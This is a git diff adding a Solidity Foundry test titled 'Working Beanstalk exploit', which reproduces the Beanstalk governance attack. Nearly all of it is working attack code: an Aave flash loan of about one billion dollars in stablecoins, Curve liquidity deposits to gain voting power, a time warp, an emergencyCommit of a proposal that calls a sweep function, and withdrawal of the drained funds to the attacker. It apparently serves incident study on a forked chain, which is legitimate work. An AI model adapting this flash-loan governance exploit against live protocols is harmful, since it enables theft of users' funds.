Working Beanstalk exploit

.gitignore

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 /cache/
 /out/
+/.vscode/

src/test/Beanstalk_exp.sol

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+// SPDX-License-Identifier: UNLICENSED
+// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
+pragma solidity >=0.7.0 <0.9.0;
+
+import "ds-test/test.sol";
+import "./interface.sol";
+
+contract ContractTest is DSTest {
+    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+    ILendingPool aavelendingPool =
+        ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
+    IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
+    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
+    IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
+    IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
+    IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
+    IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
+    IUniswapV2Router uniswapv2 =
+        IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
+    ICurvePool threeCrvPool =
+        ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
+    ICurvePool bean3Crv_f =
+        ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
+    IBeanStalk siloV2Facet =
+        IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
+    IBeanStalk beanstalkgov =
+        IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
+    address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69;
+    uint32 bip = 18;
+
+    constructor() {
+        dai.approve(address(aavelendingPool), type(uint256).max);
+        usdc.approve(address(aavelendingPool), type(uint256).max);
+        TransferHelper.safeApprove(
+            address(usdt),
+            address(aavelendingPool),
+            type(uint256).max
+        );
+        bean.approve(address(aavelendingPool), type(uint256).max);
+        dai.approve(address(threeCrvPool), type(uint256).max);
+        usdc.approve(address(threeCrvPool), type(uint256).max);
+        TransferHelper.safeApprove(
+            address(usdt),
+            address(threeCrvPool),
+            type(uint256).max
+        );
+        bean.approve(address(siloV2Facet), type(uint256).max);
+        threeCrv.approve(address(bean3Crv_f), type(uint256).max);
+        IERC20(address(bean3Crv_f)).approve(
+            address(siloV2Facet),
+            type(uint256).max
+        );
+    }
+
+    function testExploit() public {
+        address[] memory path = new address[](2);
+        path[0] = uniswapv2.WETH();
+        path[1] = address(bean);
+        uniswapv2.swapExactETHForTokens{value: 75 ether}(
+            0,
+            path,
+            address(this),
+            block.timestamp + 120
+        );
+        emit log_named_uint(
+            "Initial USDC balancer of attacker",
+            usdc.balanceOf(address(this))
+        );
+
+        emit log_named_uint(
+            "After initial ETH -> BEAN swap, Bean balance of attacker:",
+            bean.balanceOf(address(this)) / 1e6
+        );
+        siloV2Facet.depositBeans(bean.balanceOf(address(this)));
+        emit log_named_uint(
+            "After BEAN deposit to SiloV2Facet, Bean balance of attacker:",
+            bean.balanceOf(address(this)) / 1e6
+        );
+        IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);
+        bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);
+        //emit log_named_uint("BIP:", bip);
+        beanstalkgov.propose(_diamondCut, address(this), data, 3);
+        uint256[3] memory tempAmounts;
+
+        address[] memory assets = new address[](3);
+        assets[0] = address(dai);
+        assets[1] = address(usdc);
+        assets[2] = address(usdt);
+
+        uint256[] memory amounts = new uint256[](3);
+        amounts[0] = 350_000_000 * 10**dai.decimals();
+        amounts[1] = 500_000_000 * 10**usdc.decimals();
+        amounts[2] = 150_000_000 * 10**usdt.decimals();
+
+        uint256[] memory modes = new uint256[](3);
+        aavelendingPool.flashLoan(
+            address(this),
+            assets,
+            amounts,
+            modes,
+            address(this),
+            new bytes(0),
+            0
+        );
+        usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
+    }
+
+    function executeOperation(
+        address[] calldata assets,
+        uint256[] calldata amounts,
+        uint256[] calldata premiums,
+        address initiator,
+        bytes calldata params
+    ) external returns (bool) {
+        emit log_named_uint(
+            "After deposit, Bean balance of attacker:",
+            bean.balanceOf(address(this)) / 1e6
+        ); // @note redundant log
+        uint256[3] memory tempAmounts;
+        tempAmounts[0] = amounts[0];
+        tempAmounts[1] = amounts[1];
+        tempAmounts[2] = amounts[2];
+        threeCrvPool.add_liquidity(tempAmounts, 0);
+        uint256[2] memory tempAmounts2;
+        tempAmounts2[0] = 0;
+        tempAmounts2[1] = threeCrv.balanceOf(address(this));
+        bean3Crv_f.add_liquidity(tempAmounts2, 0);
+        emit log_named_uint(
+            "After adding 3crv liquidity , bean3Crv_f balance of attacker:",
+            crvbean.balanceOf(address(this))
+        );
+        emit log_named_uint(
+            "After  , Curvebean3Crv_f balance of attacker:",
+            IERC20(address(bean3Crv_f)).balanceOf(address(this))
+        ); //@note logging balance for same token ?
+        siloV2Facet.deposit(
+            address(bean3Crv_f),
+            IERC20(address(bean3Crv_f)).balanceOf(address(this))
+        );
+        cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future
+        //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip
+        beanstalkgov.emergencyCommit(bip);
+        emit log_named_uint(
+            "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:",
+            crvbean.balanceOf(address(this))
+        );
+        bean3Crv_f.remove_liquidity_one_coin(
+            IERC20(address(bean3Crv_f)).balanceOf(address(this)),
+            1,
+            0
+        );
+        emit log_named_uint(
+            "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:",
+            crvbean.balanceOf(address(this))
+        );
+        tempAmounts[0] = amounts[0] + premiums[0];
+        tempAmounts[1] = amounts[1] + premiums[1];
+        tempAmounts[2] = amounts[2] + premiums[2];
+        threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);
+        threeCrvPool.remove_liquidity_one_coin(
+            threeCrv.balanceOf(address(this)),
+            1,
+            0
+        );
+
+        emit log_named_uint(
+            "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:",
+            usdc.balanceOf(address(this))
+        );
+
+        return true;
+    }
+
+    function sweep() external {
+        IERC20 erc20bean3Crv_f = IERC20(
+            0x3a70DfA7d2262988064A2D051dd47521E43c9BdD
+        );
+        erc20bean3Crv_f.transfer(
+            msg.sender,
+            erc20bean3Crv_f.balanceOf(address(this))
+        ); //Just for verification, so keep other tokens
+    }
+}